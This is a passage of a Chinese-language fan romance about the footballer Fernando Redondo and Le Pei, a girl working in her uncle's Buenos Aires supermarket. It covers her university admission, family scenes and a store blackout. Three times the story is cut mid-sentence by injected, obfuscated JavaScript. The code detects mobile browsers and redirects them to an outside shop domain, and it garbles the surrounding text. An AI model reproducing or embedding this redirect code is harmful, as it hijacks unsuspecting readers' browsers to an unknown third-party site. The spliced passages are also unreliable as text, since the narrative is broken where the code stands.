乐佩的笑容僵在脸上,胳膊直直地绷着,显然被老奶奶的热情搞得有点尴尬。看到雷东多进来,她眼睛飞快地眨了好几下,不知所措的样子把雷东多逗笑了。 “费尔南多也来了?”胡安老板当然不会放过他,果篮发完了,于是一整排酸奶直接塞到他手里。 雷东多甚至来不及拒绝,只好收下老板热情的礼物,感谢的话也被胡安老板对乐佩的夸奖卡在嘴边,他还在不厌其烦地分享自己的喜悦,不知道雷东多才是第一个见证乐佩好消息的人。 “想考大学不容易,去考试的100个人里只有20个人能考上,何况还是全国最好的大学,计算机专业!!小佩辛苦了好多年,别人还睡觉的时候她就要爬起来看书,她能考上我们一点都不意外!” 看来他猜对了。雷东多又去看乐佩,她还想帮忙给刚刚抱了她的老奶奶结账,被老板娘手里塞了一大包零食轰走了,上楼前乐佩看过来,正迎上雷东多的目光,于是笑着挥了挥手。 胡安老板说了半天,终于在雷东多也抬起胳膊招手的时候发现他的听众不太专心,顺着他的目光看过去,胡安老板只能看到自己小侄女上楼的背影。 当叔叔的心里突然觉得有点不对劲,炫耀的冲动戛然而止,雷东多刚好有机会表达感谢告辞离开,看着他挺拔的背影,胡安老板又觉得是自己想太多了。 回家的路上很安静,雷东多感觉自己仿佛从一个热闹的异世界回到现实,他终于意识到乐佩考上大学这件事代表着什么。 他一直以为乐佩是成年之后来阿根廷投奔亲戚打工,这样的情况在华人开的商店餐厅里再常见不过,直到刚才胡安老板告诉他,中国的大学八月底开学,乐佩在那之前肯定要回去,那时球队的冬歇期甚至才结束没多久。 雷东多抬手捋了一把头发,他早就习惯了周围人短暂的出现又消失,球队更迭很快,昨天还在一起踢球的队友今天可能就离开了这个国家,他并不会因此难过。 至于乐佩这样才有过几面之缘的人,甚至称不上熟悉,若是以往,他只会对这样一个人身上发生的好事感受到一点有限的高兴,但现在他除了高兴佩服,心里居然还混杂了一些失落。 还是想想回家要看的书吧,还有明天的训练。雷东多深吸一口气,冬夜的冷风让他精神一阵,加快脚步朝家的方向走去。 他的哥哥在家。莱昂纳多雷东多虽然也爱足球,但没有他弟弟的天赋,正常上学毕业后,去了父亲的冷库公司上班,他和弟弟感情不错,但费尔南多雷东多小小年纪就成熟有主见,很多时候莱昂纳多在他面前没有太多当哥哥的底气。 比如现在,雷东多发现他过来之后一点都不惊喜,“这么晚你怎么过来了?爸爸妈妈还好吗?” “他们都好,我就不能只是来看看我在外面租房住的小弟弟吗?”莱昂纳多抱怨,“但是看来我的弟弟不欢迎我,他甚至都不愿意给我一个拥抱。” 雷东多习惯了莱昂纳多偶尔的表演欲,无语地瞥了他一眼,“那你可以主动一点,我又没说不行。” 莱昂纳多走过去,终于得到了心心念念的拥抱,然后下一秒就被弟弟下了逐客令,“我该睡觉了,你不回去吗?” “太过分了费尔,”莱昂纳多靠回沙发上,他知道弟弟的作息习惯,今晚就算有比赛这小子回来的也有点太晚了,身为哥哥他有必要八卦一下,“妈妈给你做了烤派,我已经放冰箱里了,你晚上去哪儿了,是不是见了姑娘?” 可惜雷东多完全不配合,他慢条斯理地脱外套,还不忘抖落上面的浮灰,“我什么时候这么干过?” “你该多和姑娘交朋友,总是一个人多没意思,爸爸妈妈很担心......” “爸爸妈妈不担心我,你是哥哥,你的优先级比较高,”雷东多轻而易举地把哥哥噎了回去,毕竟他们现在都没有确定的女朋友,“每次见面你都要问一次,不觉得烦吗?我不是不会谈恋爱的笨蛋,不用你操心。” 莱昂纳多不太信,他知道弟弟以前肯定谈过女朋友,但从来没听他提起过,这可不是个好现象,别人家的弟弟多贴心啊,总能满足哥哥八卦的欲望,费尔南多这个臭小子却只会犟嘴。 他只能想办法从别的地方下手了,比如雷东多带回来的东西?莱昂纳多又来了兴致,“别告诉我你这么晚只是去逛了超市,在超市里遇见谁了?出去喝一杯也好啊,现在是冬歇期......你买那么多酸奶干什么,你什么时候爱喝这个了?” “我一直都喜欢喝,”雷东多不看他,像是没有听见他的胡言乱语,径直走到冰箱前,里面确实放着妈妈做的的烤派。 莱昂纳多还探头在观察他,雷东多放好东西后终于舍得看他一眼,“莱昂纳多,你当年为什么学了经济?” “......我为什么不学?我现在上班要用到啊,你又不是不知道,而且你现在也在学啊!” “你在学校里学过计算机的课程吗?” “太难了我没选课,反正我会点简单的用法就行了,公司里的两台计算机也不用我来操作。学这个的毕业生非常抢手,你问这个干什么?” 雷东多把酸奶递到他手里,淡淡看了他一眼,“你可真笨。” 莱昂纳多炸毛了,“臭小子,说得好像你就学得会一样!” 被气走之前,莱昂纳多没忘记自己过来的目的,“明天晚上家庭聚餐,等你训练结束,我开车带着爸爸妈妈一起去接你,别忘了!” “知道了。” 乐佩在得知自己拿到通知书后睡了这么多年来最舒服的一觉,第二天她甚至没有听到闹钟响,10点多才急匆匆地跑下楼,看着站在收银机前的婶婶一脸抱歉,“我起晚了,婶婶你让我来干吧。” 老板娘挥着手把她赶开,“厨房里有给你留的鸡蛋和牛奶,去吃吧不用管我这儿。” “那怎么行,我拿出来吃吧......” “你这孩子,你的闹钟都是我关的,今天不用你上班!”婶婶笑盈盈地瞪了她一眼,“一会儿收拾一下,婶婶带你出去逛街吃好吃的,庆祝你考上大学。” 在家里这种好事从来轮不到她,乐佩也不在乎,弟弟在她面前显摆新鞋的时候那张本来看着就蠢的胖脸更让人厌烦,同学放学开小灶她也没办法一起去,家里给的钱在学校饭都不太够吃。 从她离开家来到布宜诺斯艾利斯,叔叔婶婶给她的照顾连家里最受宠的哥哥都比不了,乐佩越发站着不动了,“太破费了婶婶,今天还要干活,我是来给你们帮忙的,我能过来已经很高兴了!” “我知道!机票都是我们给你买的,还在乎这些?”老板娘故意板起脸,“叔叔婶婶高兴给你送东西都不行吗?你要是实在心里过不去,以后好好上学,有了大出息,叔叔婶婶还等着沾你的光嘞!” 乐佩嘴巴张了张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863588|191735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,最终说不出拒绝的话。中午吃饭前,婶婶就把店里的活全都甩给了叔叔,拉着乐佩兴高采烈地出了门,胡安老板一点都不介意,还给乐佩塞了点钱,让她们好好玩,看到喜欢的东西就买下来,别舍不得花。 这是乐佩来到布宜诺斯艾利斯之后第一次仔细观察这座城市,她不想表现地像个乡巴佬,但这里比老家的小城色彩斑斓多了,马路上形色各异的人,还有偶尔在墙角冒出来的夸张涂鸦,都是她从来没见识过的景色。 北京是不是也这样呢?那个她马上要去上大学的城市,要不是她还要回老家取录取通知书,乐佩宁愿直接飞到北京去。 她们去了一家很出名的阿根廷烤肉店,菜量丰富味道也好,乐佩没想过自己也有吃肉吃撑的一天。 餐厅里坐满了外国人,乐佩不动声色地一个个观察他们的模样,有吃得油光满面的秃顶大叔,有满头白发打扮精致的漂亮奶奶,年轻男孩女孩亲热地凑在一起,乐佩不好意思多看,心里忍不住评价那些男孩儿的长相。 好一会儿她才意识到自己在用他们和谁作比较,雷东多的脸不经意地浮现在脑海里,这些男孩儿或许有长相帅气的,只是给她的感觉都不如她认识的那个,但自己为什么会想到雷东多呢? 还在想着的时候,她瞥见了不远处一个和雷东多发色发型都一样的人背对着她,身上的衣服也很眼熟,乐佩的心突然砰砰跳了起来,跳得她心烦,怎么会这么巧呢? 她目不转睛地盯着那个梳理整齐的后脑勺,连婶婶给她夹菜都忘了道谢,直到那个人转头叫服务生,狂跳的心一下子平静了下来,看看那高的离谱的发际线和奇形怪状的鼻子,她就知道不会这么巧的。 “在看什么?”婶婶终于注意到了她变来变去的脸色,也回头去看,什么奇怪的地方都没有。 乐佩搓了搓脸,叉起喷香的肉,“没什么,这里生意真好。” 饭后婶婶带着她去了布宜诺斯艾利斯最大的商业街区,一进去就给她买了好几个漂亮的发卡发圈,还张罗着打了耳洞,“上大学了要开始打扮自己咯,以后婶婶送你几副耳钉换着带,不过现在刚打好,等回去先用茶叶棍戳着吧。” 乐佩看着镜子里的女孩儿,耳朵上有亮闪闪的银色耳钉,头发上有带着蕾丝边的宽发带,曾经万年不变的麻花辫盘了起来,在家里的时候她可不长这样。 “佩佩真漂亮,像画里的小仙女一样,”婶婶站在她身后,摸了摸她的发顶,“今天来不及了,改天婶婶带你剪个刘海,以后进了大学要漂漂亮亮的,到时候肯定有好多小伙子追你。” “啊......” “走了,现在去给你好好买几身衣服,你身上这些都是你妈妈奶奶剩下来的吧。” 开始试衣服之后婶婶根本停不下来,乐佩在更衣室里换了一套又一套衣服,根本没有休息的时候。 这比干活还要累,快和过年大扫除差不多了,但乐佩想到叔叔婶婶家那个早逝的姐姐,任劳任怨地继续给婶婶充当模特。 一下午婶婶看上了好多衣服,在乐佩的极力劝阻下才只买了两身,她一边抱怨着乐佩是个小抠门,一边督促她新衣服上身就别换下来了,“我们晚上还要吃饭,出来玩就要穿好看的。” 训练结束的雷东多出门就看到街边靠着车等他的莱昂纳多,“怎么这么晚?吃个饭你没必要把头发梳得这么整齐。” “那也比头发像鸡窝强,”雷东多意有所指地看了看他头顶,莱昂纳多连忙对着后视镜开始检查,“胡说什么呢,哪儿有鸡窝那么乱?” 雷东多已经钻进车里了,“下午好妈妈,下午好,爸爸。” 在去餐厅的路上,老费尔南多和路易莎一直在关心他们的小儿子,正因为知道雷东多有主见,他们才更要想办法从蛛丝马迹里看看他在俱乐部是不是真过得好。 话题最终来到了感情问题,莱昂纳多没骗人,他亲爱的爸爸妈妈确实很在意这个。雷东多叹了口气,“如果有的话我会告诉你们的。” 爸爸又开始和莱昂纳多谈工作,雷东多望向车窗外,夕阳下邻街的店铺不少都亮了灯,他们已经快到商业街了,这里的行人不再是下班后的一脸疲惫,说笑的声音嘈杂在一起。 街角转过来两个人,雷东多的目光停住了。这个时间乐佩恐怕在超市帮忙,而且乐佩不会穿这样的衣服,但他还是觉得自己看到的这个姑娘就是她。 绿灯了,车子很快启动,那个穿着米色长风衣、不太熟练地踩着短靴的身影和他们擦肩而过,几乎立刻从雷东多眼前消失了。 路易莎被他的动作吸引,“有什么好看的吗?” “没什么。”雷东多轻咳了一声,在妈妈好奇的眼神中一本正经地坐直了身子。 5. 信笺(5) 美洲杯仍然在继续,短短十五天要从10支队伍里决出冠军,赛程安排地非常满。 在和厄瓜多尔打成平手后,阿根廷终于在第三轮战胜了整个小组最重量级的选手乌拉圭,这样和玻利维亚的最后一轮他们几乎没有了出线压力,主教练干脆换上了不少替补练兵。 这场比赛雷东多是在家看的,不是他租的房子,而是有父母以及哥哥莱昂纳多一起。 俱乐部仍然在比赛的晚上开放给大家看球,只不过大部分人的热情只持续了一场比赛,与其一群臭烘烘的大男人一边看一边吵(而且不能喝太多酒),还是和死党或者女友去酒吧玩更有意思一点。 “所以你真该学学你的队友,有谁像你这么无聊,在家里待着?”莱昂纳多不顾弟弟的凝视,唉声叹气,“主要我现在不是很想看比赛。” 雷东多不动声色地和他拉开距离,挪到沙发另一头,“你可以进去继续工作,反正不管在家里还是工厂,爸爸都不会给你发加班工资。” “妈妈你看费尔南多!一点都不听他哥哥的话!” 路易莎早就习惯了大儿子有时莫名其妙的幼稚,根本没有理会,莱昂纳多悻悻地坐直身子,“看这样的比赛真没意思,他们应该征召你,你的水平比这些替补要好得多。” “你太夸张了,今天的轮换阵容并不是没有优势。” 雷东多轻咳一声不再说话,视线始终放在电视中的比赛上,思绪却开始飘远。 国家队替补即便没有默契,他们的跑位也比俱乐部很多队友要更有效,如果他现在也在场上,肯定不会让玻利维亚这么轻松地把球传过来...... 他们队伍里最厉害的是那个速度很快的边锋,自己只需要锁住队友给他的传球路线,他就没办法发挥出自己的实力..... 巴蒂斯图塔看上去很着急,这个球换他来肯定能进,他的头发拨乱了,赶快整理一下吧......乐佩的头发就很漂亮,他好几天没去超市了,那天在街边上看到的女生真的是她吗......自己为什么在想这些? 半场结束,两边都没有进球,老费尔南多无聊地长出一口气,晃了晃已经见底的啤酒瓶,“哪个小伙子帮我买点喝的吧。” “爸爸,你想叫我帮忙跑腿可以直说的。”莱昂纳多挤眉弄眼地站起来,结果雷东多已经抢先一步,“我去吧,只要啤酒吗爸爸?” 坐在餐桌前看书的路易莎抬起头,“你要怎么过去费尔南多,要不要开上你哥哥的车?” “不用了妈妈,我去隔壁街区的超市,离得不远。” 一眨眼雷东多已经出门了,莱昂纳多狐疑地看着在弟弟身后关上的家门,嘟囔着,“我觉得他有点奇怪。” 老费尔南多头都不抬,“难道你要去跟踪他吗?成熟点莱昂,你有什么问题可以等费尔回来了再问嘛。” 雷东多路过正在放比赛热闹的酒吧,经过聚在一起的一群群年轻人,一连过了好几个红绿灯,然后看到了街角那个飞快闪烁的红色灯牌。 乐佩正在货架旁分拣刚送来的新货,超市里没什么人,只有门口很热闹,因为叔叔在门口房顶挂了一台电视,他说这样能帮他招揽客源。 直到真正有比赛的时候,乐佩才见识到了这台电视的威力,临时出来买东西的客人会变成木桩子在门口站一排,看到激动时啤酒喝完了还可以现买。 现在他们又在门口围着了,乐佩听见有人吆喝着下半场开始,刚刚还嘈杂的人群又安静下来,比学校里的学生还听话,乐佩被自己的比喻逗乐了。 “你心情很好,遇到什么高兴的事吗?” 背后突然冒出来的声音把乐佩吓了一跳,拿着罐头的手一抖,松开了头顶没有放稳的铁皮盒子。 “小心!” 雷东多连忙伸手,在盒子砸到乐佩之前牢牢接住。乐佩的心砰砰直跳,看到罐头放回原位之后才松了一口气,“你好啊费尔南多。” “抱歉吓到你了。”雷东多开始后悔自己刚才从背后打招呼的鲁莽。 乐佩摆了摆手,“没关系,至少这次你接住了盒子,不像我们第一次遇见的时候,我还撞翻了你的购物筐。” 看样子不是他一个人还记得初遇的场景,雷东多心里的懊恼一扫而光,他现在才看清了乐佩的打扮,额前多了几缕刘海,和她笑起来弯弯的眼睛很搭,耳垂上有闪光的耳钉,说不上哪里和之前不太一样,雷东多更相信之前在街上看到的女孩儿就是她。 “费尔南多?”乐佩不知道他在想什么,于是干脆让出背后的货架,主动搭话,“你想要买什么东西?” “额,我先随便看看,有时候只有看到东西了才能想起来自己到底需不需要买它们。” “哈哈哈,那样会不会买很多实际上不太需要的东西?”乐佩笑起来,低头继续去拿没有放好的罐头。 已经走到货架尽头的雷东多这时又回头叫她,“不好意思,乐佩,你能带我去看看饮料都在哪里吗?我记得之前在这一排,怎么今天找不到了......” 饮料没有换地方啊?乐佩有点疑惑,但她没有多问,“在这边!跟我来吧。” 他们绕过了一排货架,很快看到了摆放整齐琳琅满目的各种饮料,乐佩伸出手,“这里是汽水,酒在背后,如果想要冰镇的话冰柜在那边。” “好的,谢谢你。”雷东多看向冰柜,像是没发现乐佩要离开,一点都不着急的样子寒暄起来,“刚才我进来的时候在收银台前没看到你,我还以为你们的工作内容都是固定的。” “我叔叔确实只让我收银,今天我应该算放假,不过反正也没什么事干,我就继续给他帮忙了。” 雷东多把爸爸想喝的啤酒放进购物筐里,转身看她,“你很能干,我的假期都是用来放松的......你叔叔说你这个大学是最好的大学,很难考,之前一定很辛苦吧。” “还好,我都习惯了,在家我也会干活,这些对我来说不算太累。” 他和莱昂纳多在家就不用做这些,偶尔跑腿爸爸还会给小费。雷东多抿了抿嘴,“你该听胡安老板的话,布宜诺斯艾利斯是一座美丽的城市,你可以四处转转,一定会喜欢这里的。” “真的吗?我其实没怎么出去过,但我知道街那边有一个公园,里面有很多树,等到春天一定很漂亮。” “那是La Tipa,春天确实是个好季节,你可以去七月九日大道的方尖碑,在那里整条街都能看到鲜花,小时候我哥哥曾经带我上去,然后我们还去哥伦布剧院看表演......” 乐佩已经把那箱没有放好的罐头丢在脑后,她小心翼翼地靠在货架上,全神贯注地听着雷东多说话。她仿佛能想象到落满花瓣的小巷,11月份看到这样的风景可真是新鲜。 “......总之现在虽然是冬天,你还是可以在五月广场喂鸽子。” 雷东多在乐佩眼神亮晶晶地注视下不自觉地说了好多,等反应过来才轻咳一声,遗憾地止住话题。 这个超市的角落里突然安静下来,乐佩突然不太喜欢这样的安静,她看着雷东多又装了几瓶汽水,伸手指向对面货架上奇怪的小瓶子,主动搭话,“你知道这个是什么吗?我经常看有人会买。” “哦,这个是Yerba Mate,阿根廷人都很喜欢喝这个,是一种冬青叶泡水的饮料。” “听上去像是茶叶,我的家乡就产茶叶,味道很不错,”乐佩观察着货架上的盒子,“Yerba Mate,原来它在这里写着,我好像很少见你买这些,你也喜欢喝吗?” “还可以吧,”雷东多联想到他的队友们从一个吸管里分享一壶马黛茶的场面,如果他承认自己爱喝,下次这根吸管就要递到自己面前了,“偶尔一个人的时候我会喝一点。” “那是什么味道?” “下雨后青草的味道,还带一点苦味。如果你去公园的话,可以看到休息的老太太们围在一起喝这个。” 乐佩摸着包装盒上的吸管,产生了不好的联想,“用同一根吸管吗?” 雷东多点点头,乐佩的眉头轻微地皱了一下,尽量不动声色地把盒子放回货架上,又被雷东多拿走了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863589|191735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我哥哥的茶壶刚好摔坏了,我给他买个新的吧。”雷东多没有错过乐佩脸上的一点点嫌弃,连带着刘海都似乎晃了晃,在他低头的时候,这一幕又从眼前闪过。 “你还有个兄弟(brother)?哥哥还是弟弟?” “哥哥,我爸爸妈妈生了两个儿子,他们还想要个妹妹,你呢?” 乐佩嘴角的笑意淡了下去,“一个哥哥一个弟弟,没什么好说的。” 她庆幸雷东多没有继续追问下去,而是开始说起自己,“我哥哥已经工作了,我还在上学,不过也在踢足球。” “我叔叔说过你是运动员,你们的足球俱乐部离这里不远,但我不知道你还在上大学,我以为运动员就是工作。” “确实是,俱乐部会和我们签合同,我的大部分队友也都没有继续读书,我只是比较喜欢学习,所以就继续了。” 乐佩完全不懂足球,但不妨碍她由衷地感慨,“那你一定很厉害,无论是学习还是踢球。” 话音刚落,门口安静的球迷爆发出一阵猛烈地粗口,吵嚷的声音让人担心他们要打起来,虽然看不见什么,乐佩和雷东多还是同时向门口方向侧了头,然后又互相被对方的动作逗笑了。 “他们是在骂人吗?” 雷东多摸了摸鼻子,“咳,足球是一项比较容易让人激动的运动,比赛的时候大家都不太容易控制情绪。” “你也会这样吗?” “我......我一般不会这么激动。” 乐佩噗嗤笑了一声,又立刻抿住嘴点点头,一副完全相信他的模样,只是嘴角压得很艰难。雷东多开始后悔引出这个话题了,“好了,别笑话我了。” “对不起,我只是觉得很有趣,”乐佩轻咳一下,“所以你今天为什么没去看比赛呢?我没想到你今天会过来。” “阿根廷已经晋级了,所以今天这场比赛不太重要,也不太好看。”雷东多没有错过乐佩的最后一句话,“现在是美洲杯比赛日,所以我们的足球比赛暂停了。俱乐部一周大概会训练四五天,训练结束了我都会来超市买东西。” 他为什么突然说这些?乐佩有点口干舌燥,不知道该怎么接话了。她没有想要打听行踪的意思,但现在听到雷东多这么说,她心里又有点莫名其妙的高兴,听上去他们经常能见面。 在气氛开始变的奇怪时,头顶的灯带突然猛烈地闪烁一下,伴随着一声巨响,整个超市的灯都黑了下来。 “怎么了?”乐佩的声音有一瞬间的惊慌,本能地抬手,在黑暗中她的指尖碰到了仿佛衣服布料的触感,还有一小片温热,她连忙将手收了回来。 雷东多感觉到了衣角和手臂上的触碰,他比乐佩更快一步回过神来,“别担心,应该只是停电了。” 前台胡安老板吆喝大家出去的声音在这时响起,连带着没有比赛看的球迷此起彼伏的抱怨声,黑暗放大了嘈杂的纷乱,乐佩的紧张却被雷东多平稳的声音安抚下来。 天花板上有手电筒的灯光晃来晃去,只不过照不到最里侧的货架,胡安老板的声音靠近了一些,“佩佩!你在哪儿?你没事吧!” “叔叔,我在这里!我没事!” “那就好,我现在找不到你,你先赶快出来吧,门口这里比较亮,”胡安老板絮叨着又走远了,“衰啊!这种时候发电机怎么也能死掉呢?” 雷东多听不懂他们的对话,但能猜出是什么意思,“我们先出去再说。” 乐佩也想赶快离开这里,但她在黑暗中完全分辨不出方向,摸索着刚走出去两步还是差点一头撞在货架上,幸亏被听到动静的雷东多挡了一下。 “乐佩,你还好吗?” 乐佩的声音听上去有点难为情,“我还可以......就是这里太黑了,我什么都看不见。” 雷东多看着眼前勉强还能分辨出轮廓的货架,似乎没有那么黑吧。他犹豫了一秒,伸手拉住了乐佩还想要继续摸索的手,感受到乐佩掌心一瞬间的僵硬后,又松开向后握住她纤细的手腕,“没关系,我带你出去吧。” 6. 信笺(6) 叔叔的超市是这条街上最大的一家,从最里面的货架走到超市门口需要一段时间,尤其是在完全漆黑的情况下,只有墙角的紧急出口指示牌闪着幽幽的绿光。 乐佩就这样被拉着走出超市,她不是没有和男同学这么近距离接触过,班级大扫除干活、小测验给同桌传答案什么的,但雷东多显然和那些人都不太一样。 她能闻到雷东多身上淡淡的香水味,这里的人都很爱喷香水,老实说味道太冲了不是很好闻,乐佩花了不少时间才适应每个人身上不同的古怪味道,只有雷东多的味道她并不讨厌。 小臂上雷东多只有几根指节握着她,动作很克制,乐佩还是感觉有一阵热意从那里源源不断地传过来,她不自在地攥了攥手心,像是自己也想抓着什么一样。 雷东多一路牵着乐佩,在绕过突出的货架时会回头轻声提醒她小心,哪怕知道乐佩看不到他脸上的表情。 他们很快到了超市门口,街上的路灯带来光亮,这里站着两个超市的员工,正在尽力维持秩序,不过没什么效果,还是有好几个人趁着停电飞快顺着没结过账的东西跑掉了。 来到路灯下乐佩的眼睛不太舒服,雷东多不动声色地将她和门口来来往往的人隔开,站到角落里。 老板娘不在,胡安老板刚打完电话叫维修队,看见乐佩出来放心了一点,只来得及嘱咐她留在门口别乱跑,目光在她和身边那个眼熟的小伙子身上停了一瞬,急匆匆地又回超市去了。 直到乐佩的眼睛缓过来,她才注意到雷东多居然还拉着她的胳膊,她连忙动了动,雷东多立刻松开了手。 “谢谢你。”乐佩真诚地道谢,她知道自己在夜里总是看不清东西,在家里她没有自己的房间,晚上奶奶睡得早,功课多的时候她经常在家门外的路灯下看书,那时候她的眼睛就不太好了。 雷东多觉得这没什么,他低头凑近,乐佩的眼睛还像平时那么亮,什么都看不出来,“你的眼睛没事吗?要不要去看看医生?” 乐佩笑了,“没什么,我经常这样,已经习惯了。” 或许她不太方便,看病这件事很私人,雷东多不想让乐佩感到冒犯,他没再多说什么。 过了一会儿,超市门口总算不再混乱,但一时半会看着不像要来电的样子,乐佩不愿意耽搁雷东多太多时间,她看向雷东多手里的购物框,“我去拿个袋子吧,这些东西的价钱我还记得,如果你信得过我,我在这里帮你结账?” 雷东多却不着急,他将购物框放在乐佩脚边,“在这儿等我一下。” 乐佩搞不清他想干什么,站在原地看着他快步进了超市旁边的那家餐厅,真奇怪,整条街上居然只有超市停电了。 胡安老板不知道多少个电话终于催来了施工队,老板娘也从朋友家赶回来,他这才想起自己还等在门口的好侄女。 他一边骂自己疏忽,一边急匆匆跑出来的时候,只看到他以为会孤零零的乐佩正坐在台阶上,兴冲冲地和身边的小伙子聊天,两人手里各拿着一个冰激凌甜筒,吃得很开心。 这一看就是隔壁餐厅每日上新的gelato,而不是超市冰柜里的普通冰棍。一瞬间胡安老板想到自己刚才惊鸿一瞥的场景,一片混乱中雷东多的手拉着乐佩,他们什么时候这么熟了? “小佩,你怎么还在这儿坐着,一会儿就来电了,快进来吧,”胡安老板脸上挂起营业微笑,“快来费尔南多,真是不好意思,我这就给你结账。” 两个人的聊天被他的声音打断,雷东多本能觉得老板的笑看上去有点危险,他连忙站起来,这一幕在胡安老板看来更糟糕了。“没关系,乐佩已经帮我结好了。”他举起手里的购物袋,乐佩在一旁跟着点头。 “那就好,抱歉耽误你这么多时间,这么晚了,快回家吧!”他不动声色地站到两个人中间,手电筒塞给乐佩,“原来小佩喜欢吃这家冰激凌,快进去和你婶婶说,让她给你多买点。” 乐佩只好对雷东多挥挥手,转身进了超市。雷东多知道自己该离开了,尤其胡安老板正不错眼的看着他,但临走前他还有句话要说,“老板,我不知道这么说是不是合适,但乐佩在黑暗里看不见东西,会不会是有夜盲症?” “哦哟,是这样吗?我知道了,谢谢你啊小伙子!” 看上去老板听进去了他这句话,雷东多放心了,礼貌地点头告别,转身离开的背影一如既往的挺拔。 胡安老板目送他走远,这才卸下脸上的职业微笑,焦急地跺了跺脚,“小佩呀!老婆!”他一叠声喊进了超市,还不忘关上大门,挂出‘Cerrado(打烊)’的牌子。 施工队过来半个小时之后,超市终于来电,但老板不打算继续营业了,老板娘带着店员们清点了被零元购的损失,虽然心里有了预期,还是让老板心疼了好久,直到回到楼上的家里,坐在电视机前的时候他还在念叨。 这些天乐佩不再总是一个人待在房间里,偶尔她也会和叔叔婶婶一起享受晚上难得清闲的时光,叔叔婶婶对她的亲近很高兴。 现在她也在电视机前坐着,脑袋里还想着刚才施工队是怎么修好的电闸,她对这些一向很感兴趣,理工科也是她分数最高的学科,刚才看了半天,施工队的做法和她自己做过的题好像不太一样? 这一幕在胡安老板看来是另外一个意思了,乐佩还在想着那个请她吃冰激凌的臭小子吗???这样下去怎么得了,虽然雷东多算是他在阿根廷这边见过的小年轻里最懂事靠谱的那个,但也不能把主意打到他们家佩佩身上! 他抓着老板娘的手一阵猛摇,老板娘不懂他在想什么,被打扰看电视了很不高兴,“你自己心疼钱就心疼吧,失心疯了吗拉着我干嘛?” “哎呀,你不懂!”胡安老板深感众人皆醉我独醒的苦恼,他决定自己出手了,“小佩呀,你在晚上天黑的时候,是不是看不清东西?” 乐佩回身,叔叔一脸殷切地看过来,婶婶也调低了电视音量,她不太好意思地摸了摸辫子,“也没什么,晚上没有灯肯定看不清吧。” 婶婶也觉得老公的问题莫名其妙,叔叔连忙解释,“我不是这个意思,一般人就算关了灯,如果还有一点亮光,也能勉强看清东西的轮廓,你可以这样吗?” 乐佩迟疑地摇摇头,“灯比较暗的时候我就看不太清东西了,我以为大家都差不多?” 叔叔一脸严肃地看向婶婶,“那个小伙子说这是一种病,等有时间,你带小佩去看看医生?” 乐佩刚要说不用麻烦了,婶婶已经雷厉风行地拍板同意,“反正白天事不多,我明天就联系老陈,他不是会看病吗?” “要去正经的医院,老陈看个头疼脑热还可以,眼睛他能看懂吗?” “正经医院排队那么慢,要是老陈说他也不行,我再带小佩去医院,”婶婶拉住乐佩的手拍了拍,“小病而已,你不要太担心。” 乐佩很想说自己不担心,要是婶婶真的要带她去医院的话,自己一定不能去,那看着就很花钱。她正想着,婶婶已经丝滑地转向下一个问题,“你说是个小伙子告诉你小佩眼睛有问题,哪个小伙子?” “费尔南多,”胡安老板看上去有很多话想说,顾忌着乐佩在这里,他只是压低了声音,“今天停电的时候他在超市里,我......他还给小佩买了冰激凌!” 婶婶没有像叔叔期待的那样也担心起来,反而眼睛发亮,“是那个高高瘦瘦,当运动员的小帅哥费尔南多?” “是那个小帅哥......啧!你关心这个干什么?以后你给小佩买冰激凌,别让他占小佩的便宜!” 胡安老板眉毛都飞起来了,老板娘瞪了他一眼,同样压低了声音,“小佩来这里人生地不熟,好不容易交到朋友,你这是怎么了?” “那是朋友吗?那些坏小子一个个的,带坏小佩了怎么办?” “多管闲事,小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你上哪儿去了?妈妈都以为你走丢了快要报警了!” “我遇到了几个朋友,大家一起聊了会天所以没注意时间,抱歉爸爸,你的啤酒我买回来了。” 刚满20岁的雷东多难得有些不好意思,这一幕又让莱昂纳多没忍住对爸爸使眼色,‘我刚才说什么来着,费尔南多一定找女朋友了!’ 爸爸妈妈不理他,雷东多不止买了啤酒,还有崭新的烤箱手套,下午妈妈才说过家里原来的那副破了,路易莎亲了亲贴心的小儿子。 “还有你,莱昂,”雷东多没有漏掉一脸哀怨的哥哥,“你的马黛茶壶不是丢了吗,我给你买了个新的。” “我什么时候丢过......好吧,谢谢你小费尔。” 看上去自家弟弟真的只是去逛了超市,但莱昂纳多看着手里的马黛茶壶,总觉得其中有猫腻,不是生日节日,费尔南多什么时候这么想着自己了? 第二天他开车送雷东多训练的时候,旁敲侧击地继续打听,雷东多心不在焉,什么有用的信息都没套出来。 头顶的路牌指明哥伦布剧院的方位,雷东多突然说,“最近这里有什么表演吗?” “我不知道,”莱昂纳多突然转头,“你问这个干什么?你要去看表演,约会?” 雷东多不理他这个问题,“你的车借我开两天?” “你果然要去约会!我就知道!”莱昂纳多激动的声音快要把车顶盖掀起来了,“和谁约会,什么时候认识的?你昨天晚上绝对是去约会了吧,你还骗我说是去超市。” “我没有去超市的话,那个马黛茶壶难道是我在路上捡的吗?”雷东多皱着眉离驾驶座远了点,“我从来没说过我要去约会,你不许和别人乱说。” 